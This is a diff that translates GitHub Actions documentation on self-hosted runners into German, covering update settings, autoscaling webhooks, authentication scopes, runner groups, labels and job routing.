By default, self-hosted runners will automatically perform a software update whenever a new version of the runner software is available. If you use ephemeral runners in containers then this can lead to repeated software updates when a new runner version is released. Turning off automatic updates allows you to update the runner version on the container image directly on your own schedule.
Standardmäßig werden Softwareupdates für selbstgehostete Runner automatisch ausgeführt, wenn eine neue Version der Runnersoftware verfügbar ist. Wenn du kurzlebige Runner in Containern verwendest, kann dies bei der Veröffentlichung einer neuen Runnerversion zu wiederholten Softwareupdates führen. Durch das Deaktivieren automatischer Updates kannst du die Runnerversion im Containerimage direkt zum gewünschten Zeitpunkt aktualisieren.
To turn off automatic software updates and install software updates yourself, specify the `--disableupdate` flag when registering your runner using `config.sh`. For example:
Um automatische Softwareupdates zu deaktivieren und sie selbst zu installieren, musst du das Flag `--disableupdate` beim Registrieren deines Runners mit `config.sh` angeben. Beispiel:
```shell
./config.sh --url https://github.com/YOUR-ORGANIZATION --token EXAMPLE-TOKEN --disableupdate
```
If you disable automatic updates, you must still update your runner version regularly. New functionality in {% data variables.product.prodname_actions %} requires changes in both the {% data variables.product.prodname_actions %} service _and_ the runner software. The runner may not be able to correctly process jobs that take advantage of new features in {% data variables.product.prodname_actions %} without a software update.
Auch wenn du automatische Updates deaktivierst, musst du deine Runnerversion regelmäßig aktualisieren. Aufgrund der neuen Funktion in {% data variables.product.prodname_actions %} müssen sowohl am {% data variables.product.prodname_actions %}-Dienst _als auch_ an der Runnersoftware Änderungen vorgenommen werden. Ohne ein Softwareupdate kann der Runner möglicherweise keine Aufträge verarbeiten, bei denen die neuen Features in {% data variables.product.prodname_actions %} verwendet werden.
If you disable automatic updates, you will be required to update your runner version within 30 days of a new version being made available. You may want to subscribe to notifications for releases in the [`actions/runner` repository](https://github.com/actions/runner/releases). For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#about-custom-notifications)."
Wenn du automatische Updates deaktivierst, musst du deine Runnerversion innerhalb von 30 Tagen nach der Veröffentlichung einer neuen Version aktualisieren. Du solltest die Benachrichtigungen zu Releases im [`actions/runner`-Repository](https://github.com/actions/runner/releases) abonnieren. Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#about-custom-notifications).
For instructions on how to install the latest runner version, see the installation instructions for [the latest release](https://github.com/actions/runner/releases).
Anweisungen zum Installieren der neuesten Runnerversion findest du in den Installationsanweisungen für [das neueste Release](https://github.com/actions/runner/releases).
{% note %}
**Note:** If you do not perform a software update within 30 days, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner. In addition, if a critical security update is required, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner until it has been updated.
**Hinweis:** Wenn du innerhalb von 30 Tagen kein Softwareupdate durchführst, reiht der {% data variables.product.prodname_actions %}-Dienst keine Aufträge in die Warteschlange deines Runners ein. Wenn ein kritisches Sicherheitsupdate durchgeführt werden muss, reiht der {% data variables.product.prodname_actions %}-Dienst keine Aufträge in die Warteschlange deines Runners ein, bis dieser aktualisiert wurde.
{% endnote %}
{% endif %}
## Using webhooks for autoscaling
## Verwenden von Webhooks für die automatische Skalierung
You can create your own autoscaling environment by using payloads received from the [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook. This webhook is available at the repository, organization, and enterprise levels, and the payload for this event contains an `action` key that corresponds to the stages of a workflow job's life-cycle; for example when jobs are `queued`, `in_progress`, and `completed`. You must then create your own scaling automation in response to these webhook payloads.
Du kannst mithilfe der vom [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)-Webhook empfangenen Nutzdaten deine eigene Umgebung für die automatische Skalierung erstellen. Dieser Webhook ist auf Repository-, Organisations- und Unternehmensebene verfügbar, und die Nutzdaten für dieses Ereignis enthalten einen `action`-Schlüssel, der den Phasen des Lebenszyklus eines Workflowauftrags entspricht, z. B. wenn Aufträge `queued`, `in_progress` und `completed` sind. Anschließend musst du deine eigene Skalierungsautomatisierung als Reaktion auf diese Webhooknutzdaten erstellen.
- For more information about the `workflow_job` webhook, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)."
- To learn how to work with webhooks, see "[Creating webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks)."
- Weitere Informationen zum `workflow_job`-Webhook findest du unter [Webhookereignisse und Nutzdaten](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job).
- Unter [Erstellen von Webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks) erfährst du, wie du mit Webhooks arbeiten kannst.
## Authentication requirements
## Authentifizierungsanforderungen
You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app.
Du kannst selbstgehostete Runner für Repositorys und Organisationen mit [der API](/rest/reference/actions#self-hosted-runners) registrieren und löschen. Deine Implementierung für die automatische Skalierung kann ein Zugriffstoken oder eine {% data variables.product.prodname_dotcom %}-App verwenden, um sich bei der API zu authentifizieren.
Your access token will require the following scope:
Dein Zugriffstoken benötigt den folgenden Geltungsbereich:
- For private repositories, use an access token with the [`repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
- For public repositories, use an access token with the [`public_repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
- For organizations, use an access token with the [`admin:org` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
- Verwende bei privaten Repositorys ein Zugriffstoken mit dem [`repo`-Geltungsbereich](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
- Verwende bei öffentlichen Repositorys ein Zugriffstoken mit dem [`public_repo`-Geltungsbereich](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes):
- Verwende bei Organisationen ein Zugriffstoken mit dem [`admin:org`-Geltungsbereich](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
To authenticate using a {% data variables.product.prodname_dotcom %} App, it must be assigned the following permissions:
- For repositories, assign the `administration` permission.
- For organizations, assign the `organization_self_hosted_runners` permission.
Um sich mithilfe einer {% data variables.product.prodname_dotcom %}-App zu authentifizieren, muss sie über die folgenden Berechtigungen verfügen:
- Weise für Repositorys die Berechtigung `administration` zu.
- Weise für Organisationen die Berechtigung `organization_self_hosted_runners` zu.
You can register and delete enterprise self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token.
Du kannst selbstgehostete Runner für Unternehmen mithilfe [der API](/rest/reference/actions#self-hosted-runners) registrieren und löschen. Die Implementierung zur automatischen Skalierung kann ein Zugriffstoken verwenden, um sich bei der API zu authentifizieren.
Your access token will require the `manage_runners:enterprise` scope.
Dein Zugriffstoken benötigt den `manage_runners:enterprise`-Geltungsbereich.

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Managing access to self-hosted runners using groups
title: Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen
shortTitle: Manage access with runner groups
intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise.
intro: 'Du kannst mithilfe von Richtlinien den Zugriff auf selbstgehostete Runner beschränken, die einer Organisation oder einem Unternehmen hinzugefügt wurden.'
redirect_from:
- /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
miniTocMaxHeadingLevel: 3
@ -11,22 +11,25 @@ versions:
ghae: '*'
ghec: '*'
type: tutorial
ms.openlocfilehash: c6f53c3698800de519fe34231a8faf37924eacaa
ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/01/2022
ms.locfileid: '148120889'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
{% ifversion target-runner-groups %}
For information on how to route jobs to runners in a specific group, see "[Choosing runners in a group](/actions/using-jobs/choosing-the-runner-for-a-job#choosing-runners-in-a-group)."
{% ifversion target-runner-groups %} Informationen zum Weiterleiten von Aufträgen an Runner in einer bestimmten Gruppe findest du unter [Auswählen von Runnern in einer Gruppe](/actions/using-jobs/choosing-the-runner-for-a-job#choosing-runners-in-a-group).
{% endif %}
## About runner groups
## Informationen zu Runnergruppen
{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %}
{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}Weitere Informationen findest du in der [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %}
{% ifversion ghec or ghes or ghae %}
## Creating a self-hosted runner group for an organization
## Erstellen einer selbstgehosteten Runnergruppe für eine Organisation
{%- ifversion ghec or ghes %}
@ -36,7 +39,7 @@ For information on how to route jobs to runners in a specific group, see "[Choos
{% data reusables.actions.creating-a-runner-group-for-an-organization %}
## Creating a self-hosted runner group for an enterprise
## Erstellen einer selbstgehosteten Runnergruppe für ein Unternehmen
{%- ifversion ghec or ghes %}
@ -48,7 +51,7 @@ For information on how to route jobs to runners in a specific group, see "[Choos
{% endif %}
## Changing the access policy of a self-hosted runner group
## Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe
{%- ifversion fpt or ghec or ghes %}
@ -58,20 +61,20 @@ For information on how to route jobs to runners in a specific group, see "[Choos
{% data reusables.actions.changing-the-access-policy-of-a-runner-group %}
## Changing the name of a runner group
## Ändern des Namens einer Runnergruppe
{% data reusables.actions.changing-the-name-of-a-runner-group %}
{% ifversion ghec or ghes or ghae %}
## Automatically adding a self-hosted runner to a group
## Automatisches Hinzufügen eines selbstgehosteten Runners zu einer Gruppe
{% data reusables.actions.automatically-adding-a-runner-to-a-group %}
## Moving a self-hosted runner to a group
## Verschieben eines selbstgehosteten Runners in eine Gruppe
{% data reusables.actions.moving-a-runner-to-a-group %}
## Removing a self-hosted runner group
## Entfernen einer selbstgehosteten Runnergruppe
{% data reusables.actions.removing-a-runner-group %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Using labels with self-hosted runners
intro: You can use labels to organize your self-hosted runners based on their characteristics.
title: Verwenden von Bezeichnungen mit selbstgehosteten Runnern
intro: Mit Labels kannst du deine selbst-gehosteten Runner nach ihren Eigenschaften organisieren.
versions:
fpt: '*'
ghes: '*'
@ -8,86 +8,64 @@ versions:
ghec: '*'
type: tutorial
shortTitle: Label runners
ms.openlocfilehash: 3b26db5c8b6494ebb63cc3ce9cc9a0109bac4545
ms.sourcegitcommit: 929818065a8545476e4cf8e2cab6517f40345ef0
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/14/2022
ms.locfileid: '148163252'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)." {% ifversion target-runner-groups %}You can also route jobs to runners in a specific group. For more information, see "[Targeting runners in a group](/actions/using-jobs/choosing-the-runner-for-a-job#targeting-runners-in-a-group)."{% endif %}
Informationen zum Verwenden von Bezeichnungen für das Weiterleiten von Aufträgen zu bestimmten Typen von selbstgehosteten Runnern findest du unter [Verwenden von selbstgehosteten Runnern in einem Workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow). {% ifversion target-runner-groups %}Du kannst Aufträge auch an Runner in einer bestimmten Gruppe weiterleiten. Weitere Informationen findest du unter [Festlegen von Runnern in einer Gruppe als Ziel](/actions/using-jobs/choosing-the-runner-for-a-job#targeting-runners-in-a-group). {% endif %}
{% data reusables.actions.self-hosted-runner-management-permissions-required %}
## Creating a custom label
## Einen benutzerdefinierten Label erstellen
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
{% data reusables.actions.settings-sidebar-actions-runner-selection %}
1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}.
1. In the "Find or create a label" field, type the name of your new label and click **Create new label**.
The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.actions.actions-unused-labels %}
{% elsif ghae or ghes < 3.4 %}
{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
{% data reusables.actions.self-hosted-runner-list %}
{% data reusables.actions.self-hosted-runner-list-group %}
{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
1. In the "Filter labels" field, type the name of your new label, and click **Create new label**.
![Add runner label](/assets/images/help/settings/actions-add-runner-label.png)
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} {% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} {% data reusables.actions.settings-sidebar-actions-runner-selection %}
1. Klicke im Abschnitt „Bezeichnungen“ auf {% octicon "gear" aria-label="The Gear icon" %}.
1. Gib im Feld „Bezeichnung suchen oder erstellen“ den Namen deiner neuen Bezeichnung ein, und klicke auf **Neue Bezeichnung erstellen**.
Das benutzerdefinierte Label wird erstellt und dem selbst-gehosteten Runner zugewiesen. Benutzerdefinierte Labels können von selbst-gehosteten Runnern entfernt werden, aber sie können derzeit nicht manuell gelöscht werden. {% data reusables.actions.actions-unused-labels %} {% elsif ghae or ghes < 3.4 %} {% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} {% data reusables.actions.self-hosted-runner-list %} {% data reusables.actions.self-hosted-runner-list-group %} {% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
1. Gib im Feld „Bezeichnungen filtern“ den Namen deiner neuen Bezeichnung ein, und klicke auf **Neue Bezeichnung erstellen**.
![Hinzufügen einer Runnerbezeichnung](/assets/images/help/settings/actions-add-runner-label.png)
The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.actions.actions-unused-labels %}
{% endif %}
Das benutzerdefinierte Label wird erstellt und dem selbst-gehosteten Runner zugewiesen. Benutzerdefinierte Labels können von selbst-gehosteten Runnern entfernt werden, aber sie können derzeit nicht manuell gelöscht werden. {% data reusables.actions.actions-unused-labels %} {% endif %}
## Assigning a label to a self-hosted runner
## Ein Label einem selbst-gehosteten Runner zuweisen
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
{% data reusables.actions.settings-sidebar-actions-runner-selection %}
{% data reusables.actions.runner-label-settings %}
1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label.
{% elsif ghae or ghes < 3.4 %}
{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
{% data reusables.actions.self-hosted-runner-list %}
{% data reusables.actions.self-hosted-runner-list-group %}
{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
1. Click on a label to assign it to your self-hosted runner.
{% endif %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} {% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} {% data reusables.actions.settings-sidebar-actions-runner-selection %} {% data reusables.actions.runner-label-settings %}
1. Wenn du deinem selbstgehosteten Runner eine Bezeichnung zuweisen möchtest, klickst du im Feld „Bezeichnung suchen oder erstellen“ auf die Bezeichnung. {% elsif ghae or ghes < 3.4 %} {% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} {% data reusables.actions.self-hosted-runner-list %} {% data reusables.actions.self-hosted-runner-list-group %} {% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
1. Klicke auf ein Label, um es Deinem selbst-gehosteten Runner zuzuweisen. {% endif %}
## Removing a custom label from a self-hosted runner
## Ein benutzerdefiniertes Labels von einem selbst-gehosteten Runner entfernen
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
{% data reusables.actions.settings-sidebar-actions-runner-selection %}
{% data reusables.actions.runner-label-settings %}
1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner.
{% elsif ghae or ghes < 3.4 %}
{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
{% data reusables.actions.self-hosted-runner-list %}
{% data reusables.actions.self-hosted-runner-list-group %}
{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.actions.actions-unused-labels %}
{% endif %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} {% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} {% data reusables.actions.settings-sidebar-actions-runner-selection %} {% data reusables.actions.runner-label-settings %}
1. Im Feld „Bezeichnung suchen oder erstellen“ werden zugewiesene Bezeichnungen mit dem Symbol {% octicon "check" aria-label="The Check icon" %} markiert. Klicke auf eine markierte Bezeichnung, um die Zuweisung zu deinem selbstgehosteten Runner aufzuheben. {% elsif ghae or ghes < 3.4 %} {% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} {% data reusables.actions.self-hosted-runner-list %} {% data reusables.actions.self-hosted-runner-list-group %} {% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %}
1. Klicke auf das zugewiesene Label, um es von Deinem selbst gehosteten Runner zu entfernen. {% data reusables.actions.actions-unused-labels %} {% endif %}
## Programmatically assign labels
## Programmgesteuertes Zuweisen von Bezeichnungen
You can programmatically assign labels to a self-hosted runner after the runner is created, or during its initial configuration.
Du kannst einem selbstgehosteten Runner nach seiner Erstellung oder während seiner ersten Konfiguration programmgesteuert Bezeichnungen zuweisen.
* To programmatically assign labels to an existing self-hosted runner, you must use the REST API. For more information, see the "[Self-hosted runners](/rest/actions/self-hosted-runners)" REST API.
* To programmatically assign labels to a self-hosted runner during the initial runner configuration, you can pass label names to the `config` script using the `labels` parameter.
* Um einem vorhandenen selbstgehosteten Runner programmgesteuert Bezeichnungen zuzuweisen, musst du die REST-API verwenden. Weitere Informationen findest du in der REST-API für [selbstgehostete Runner](/rest/actions/self-hosted-runners).
* Um einem selbstgehosteten Runner während der Erstkonfiguration programmgesteuert Bezeichnungen zuzuweisen, kannst du mit dem Parameter `labels` Bezeichnungsnamen an das Skript `config` übergeben.
{% note %}
**Note:** You cannot use the `config` script to assign labels to an existing self-hosted runner.
**Hinweis:** Du kannst das Skript `config` nicht verwenden, um einem vorhandenen selbstgehosteten Runner Bezeichnungen zuzuweisen.
{% endnote %}
For example, this command assigns a label named `gpu` when configuring a new self-hosted runner:
Mit diesem Befehl wird zum Beispiel eine Bezeichnung namens `gpu` zugewiesen, wenn du einen neuen selbstgehosteten Runner konfigurierst:
```
./config.sh --url <REPOSITORY_URL> --token <REGISTRATION_TOKEN> --labels gpu
```
The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
Das Label wird erstellt, wenn es noch nicht existiert. Mit diesem Ansatz kannst du den Runnern auch die Standardbezeichnungen wie z. B. `x64` oder `linux` zuweisen. Wenn Standardblabels mit dem Konfigurationsskript zugewiesen werden, akzeptiert {% data variables.product.prodname_actions %} diese als gegeben und überprüft nicht, ob der Runner dieses Betriebssystem oder diese Architektur tatsächlich verwendet.
You can use comma separation to assign multiple labels. For example:
Du kannst mehrere Labels durch Kommas getrennt angeben. Zum Beispiel:
```
./config.sh --url <REPOSITORY_URL> --token <REGISTRATION_TOKEN> --labels gpu,x64,linux
@ -95,6 +73,6 @@ You can programmatically assign labels to a self-hosted runner after the runner
{% note %}
** Note:** If you replace an existing runner, then you must reassign any custom labels.
** Hinweis:** Wenn Du einen existierenden Runner ersetzt, musst Du alle benutzerdefinierten Labels neu zuweisen.
{% endnote %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Using self-hosted runners in a workflow
intro: 'To use self-hosted runners in a workflow, you can use labels to specify the runner type for a job.'
title: Verwenden selbstgehosteten Runnern in einem Workflow
intro: 'Um selbst-gehostete Runner in einem Workflow zu verwenden, kannst du mittels Labels den Runner-Typ für einen Job angeben.'
redirect_from:
- /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
- /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
@ -11,80 +11,84 @@ versions:
ghec: '*'
type: tutorial
shortTitle: Use runners in a workflow
ms.openlocfilehash: 5c0ff57f5b3eda79e3fcf8b09706ed19f981b8ae
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '147573417'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
Informationen zum Erstellen von benutzerdefinierten und Standardbezeichnungen findest du unter „[Verwenden von Bezeichnungen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)“.
For information on creating custom and default labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
## Verwenden selbstgehosteten Runnern in einem Workflow
## Using self-hosted runners in a workflow
Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label.
Mithilfe von Bezeichnungen kannst du Workflowaufträge entsprechend ihrer gemeinsamen Merkmale an bestimmte Typen von selbstgehosteten Runnern senden. Wenn dein Auftrag beispielsweise eine bestimmte Hardwarekomponente oder ein bestimmtes Softwarepaket benötigt, kannst du einem Runner eine benutzerdefiniertes Bezeichnung zuweisen und dann deinen Auftrag so konfigurieren, dass er nur auf Runnern mit dieser Bezeichnung ausgeführt wird.
{% data reusables.actions.self-hosted-runner-labels-runs-on %}
For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on).
## Using default labels to route jobs
## Standard-Labels verwenden, um Jobs zu lenken
A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform:
Ein selbst-gehosteter Runner erhält automatisch bestimmte Labels, wenn er zu {% data variables.product.prodname_actions %} hinzugefügt wird. Diese werden verwendet, um das Betriebssystem und die Hardwareplattform anzuzeigen:
* `self-hosted`: Default label applied to all self-hosted runners.
* `linux`, `windows`, or `macOS`: Applied depending on operating system.
* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture.
* `self-hosted`: Standardbezeichnung, die auf alle selbstgehosteten Runner angewendet wird.
* `linux`, `windows` oder `macOS`: Wird je nach Betriebssystem des Runners angewendet.
* `x64`, `ARM`oder `ARM64`: Wird je nach Hardwarearchitektur angewendet.
You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job:
Du kannst die YAML deines Workflows verwenden, um Aufträge an eine Kombination dieser Bezeichnungen zu senden. In diesem Beispiel ist ein selbst-gehosteter Runner, der allen drei Labels entspricht, berechtigt, den Job auszuführen:
```yaml
runs-on: [self-hosted, linux, ARM64]
```
- `self-hosted` - Run this job on a self-hosted runner.
- `linux` - Only use a Linux-based runner.
- `ARM64` - Only use a runner based on ARM64 hardware.
- `self-hosted` – Auftrag auf einem selbstgehosteten Runner ausführen.
- `linux` – Nur Linux-basierten Runner verwenden.
- `ARM64` – Nur auf ARM64-Hardware basierenden Runner verwenden.
The default labels are fixed and cannot be changed or removed. Consider using custom labels if you need more control over job routing.
Die Standard-Labels sind fest und können weder geändert noch entfernt werden. Erwäge die Verwendung benutzerdefinierter Bezeichnungen, wenn du mehr Kontrolle über das Auftragsrouting benötigst.
## Using custom labels to route jobs
## Benutzerdefinierte Labels verwenden, um Jobs zu lenken
You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled.
Du kannst jederzeit eigene Bezeichnungen erstellen und deinen selbstgehosteten Runnern zuordnen. Mit benutzerdefinierten Bezeichnungen kannst du Aufträge an bestimmte Typen von selbstgehosteten Runnern senden, je nachdem, welche Bezeichnungen sie haben.
For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job.
Wenn du z. B. einen Auftrag hast, der einen bestimmten Typ von Grafikhardware erfordert, kannst du eine benutzerdefinierte Bezeichnung mit dem Namen `gpu` erstellen und den Runnern zuordnen, auf denen diese Hardware installiert ist. Ein selbst-gehosteter Runner, der allen zugewiesenen Labels entspricht, ist dann berechtigt, den Job auszuführen.
This example shows a job that combines default and custom labels:
Dieses Beispiel zeigt einen Job, der Standard- und benutzerdefinierte Labels kombiniert:
```yaml
runs-on: [self-hosted, linux, x64, gpu]
```
- `self-hosted` - Run this job on a self-hosted runner.
- `linux` - Only use a Linux-based runner.
- `x64` - Only use a runner based on x64 hardware.
- `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed.
- `self-hosted` – Auftrag auf einem selbstgehosteten Runner ausführen.
- `linux` – Nur Linux-basierten Runner verwenden.
- `x64` – Nur auf x64-Hardware basierenden Runner verwenden.
- `gpu` – Diese benutzerdefinierte Bezeichnung wurde manuell selbstgehosteten Runnern zugewiesen, auf denen die GPU-Hardware installiert ist.
These labels operate cumulatively, so a self-hosted runner must have all four labels to be eligible to process the job.
Diese Bezeichnungen funktionieren kumulativ. Ein selbstgehosteter Runner muss also alle vier Bezeichnungen aufweisen, um den Auftrag verarbeiten zu können.
## Routing precedence for self-hosted runners
## Routingrangfolge für selbstgehostete Runner
When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels:
Wenn du einen Auftrag an einen selbstgehosteten Runner weiterleitest, sucht {% data variables.product.prodname_dotcom %} nach einem Runner, der mit den `runs-on`-Bezeichnungen des Auftrags übereinstimmt:
{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
- If {% data variables.product.prodname_dotcom %} finds an online and idle runner that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
- If the runner doesn't pick up the assigned job within 60 seconds, the job is re-queued so that a new runner can accept it.
- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner that matches the job's `runs-on` labels, then the job will remain queued until a runner comes online.
- If the job remains queued for more than 24 hours, the job will fail.
- Wenn {% data variables.product.prodname_dotcom %} einen online und im Leerlauf befindlichen Runner findet, der mit den `runs-on`-Bezeichnungen des Auftrags übereinstimmt, wird der Auftrag dem Runner zugewiesen und zugesendet.
- Wenn der Runner den zugewiesenen Auftrag nicht innerhalb von 60 Sekunden abholt, wird der Auftrag erneut in die Warteschlange gestellt, sodass er von einem neuen Runner angenommen werden kann.
- Wenn {% data variables.product.prodname_dotcom %} keinen online und im Leerlauf befindlichen Runner findet, der mit den `runs-on`-Bezeichnungen des Auftrags übereinstimmt, bleibt der Auftrag in der Warteschlange, bis ein Runner online geht.
- Wenn der Auftrag länger als 24 Stunden in der Warteschlange bleibt, schlägt der Auftrag fehl.
{% elsif ghes = 3.3 %}
- {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level.
- If {% data variables.product.prodname_dotcom %} finds an online and idle runner at a certain level that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
- If the runner doesn't pick up the assigned job within 60 seconds, the job is queued at all levels and waits for a matching runner from any level to come online and pick up the job.
- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner at any level, the job is queued to all levels and waits for a matching runner from any level to come online and pick up the job.
- If the job remains queued for more than 24 hours, the job will fail.
- {% data variables.product.prodname_dotcom %} sucht nach einem Runner zuerst auf Repositoryebene, dann auf Organisationsebene und zuletzt auf Unternehmensebene.
- Wenn {% data variables.product.prodname_dotcom %} auf einer bestimmten Ebene einen online und im Leerlauf befindlichen Runner findet, der mit den `runs-on`-Bezeichnungen des Auftrags übereinstimmt, wird der Auftrag dem Runner zugewiesen und zugesendet.
- Wenn der Runner den zugewiesenen Auftrag nicht innerhalb von 60 Sekunden abholt, wird der Auftrag auf allen Ebenen in die Warteschlange gestellt und wartet darauf, dass ein übereinstimmender Runner auf einer beliebigen Ebene online geht und den Auftrag abholt.
- Wenn {% data variables.product.prodname_dotcom %} auf keiner Ebene einen online und im Leerlauf befindlichen Runner findet, wird der Auftrag auf allen Ebenen in die Warteschlange gestellt und wartet darauf, dass ein übereinstimmender Runner auf einer beliebigen Ebene online geht und den Auftrag abholt.
- Wenn der Auftrag länger als 24 Stunden in der Warteschlange bleibt, schlägt der Auftrag fehl.
{% else %}
1. {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level.
2. The job is then sent to the first matching runner that is online and idle.
- If all matching online runners are busy, the job will queue at the level with the highest number of matching online runners.
